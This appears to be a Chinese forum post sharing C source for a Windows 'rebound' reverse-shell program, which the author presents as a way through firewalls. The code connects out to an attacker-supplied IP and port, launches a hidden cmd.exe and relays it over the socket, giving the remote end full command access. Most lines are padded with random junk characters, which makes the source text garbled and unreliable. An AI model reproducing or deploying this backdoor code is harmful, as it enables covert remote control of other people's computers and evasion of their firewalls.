这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 On=u#DxQ
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/* ============================== Bc@30KiQ^
Rebound port in Windows NT re;Lg
C
By wind,2006/7 9#uIC7M
===============================*/ vYDSu.C@a
#include &vCeLh:s
#include ]/Vh{d|I&
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#pragma comment(lib,"wsock32.lib") kI%peb?
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void OutputShell(); tM)Iir*U#
SOCKET sClient; QU.0Elw
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OB~C} '^$
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void main(int argc,char **argv) D?^540,b
{ wa!zv^;N*
WSADATA stWsaData; P+h6!=nD7
int nRet; ^|#>zCt^
SOCKADDR_IN stSaiClient,stSaiServer; S?L#N
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if(argc != 3) eJ)1K
{ RU0i#suiz
printf("Useage:\n\rRebound DestIP DestPort\n"); YZ+>\ x
return; 6B#('gxO
} F?z<xL@
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8h|M!/&2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5SUN.%y
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stSaiClient.sin_family = AF_INET; Edw2W8
stSaiClient.sin_port = htons(0); Pp+~Cir
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1 tPVP
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f ba&`
{ 0x@A~!MoP
printf("Bind Socket Failed!\n"); p*
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return; icE|.[
} .s2$al
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stSaiServer.sin_family = AF_INET; o@9+mM"B)
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w?*z^y@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w$j{Hp6m
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6\4Z\82
{ l&L,7BX
printf("Connect Error!"); RNTa XR+Zn
return; CbOCk:,g5
} Stxp3\jEn
OutputShell(); q\Rq!7(
} SWs3SYJ\
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void OutputShell() fG&=Ogy
{ jY/ARBC}H
char szBuff[1024]; l$a?A[M$
SECURITY_ATTRIBUTES stSecurityAttributes; ! Z;T-3^.
OSVERSIONINFO stOsversionInfo; U\jb"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #op:/j
STARTUPINFO stStartupInfo; @QdnjXII*
char *szShell; o@W_ai_
PROCESS_INFORMATION stProcessInformation; mu[Op*)
unsigned long lBytesRead; SO;N~D1Z6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;~+]! U
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bb;(gK;F
stSecurityAttributes.lpSecurityDescriptor = 0; bO3GVc+S
stSecurityAttributes.bInheritHandle = TRUE; dU]/$7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9 |.Ao
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BLn_u,3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); R,t$"bOd
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S2K#[mDG
stStartupInfo.wShowWindow = SW_HIDE; A&zS'toU
stStartupInfo.hStdInput = hReadPipe; sI,W%I':d
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; PcC/_+2
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GetVersionEx(&stOsversionInfo); gKo%(6{n~
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switch(stOsversionInfo.dwPlatformId) 7Xg?U'X
{ WC*=rWRxF
case 1: rrqQCn9
szShell = "command.com"; gEwd &J
break; *geN[[
default:
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szShell = "cmd.exe"; ST
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break; m#e*c[*G
} |=6_ xRyr
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8 #}D
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send(sClient,szMsg,77,0); 8(f:U@BS
while(1) 6>`c1
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{ +G*JrwJ&=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); NHm]`R,
if(lBytesRead) ""% A'TZ
{ 3qaMO#{M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ''H"^oS
send(sClient,szBuff,lBytesRead,0); SeEw.;Xw
} n~.*1. P
else v2)g 1sXd
{ < zOi4v0
lBytesRead=recv(sClient,szBuff,1024,0); 5Bjgr
if(lBytesRead<=0) break; ;65D
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y(W|eBe
} KxzYfH
} `~#<&w
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return;
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}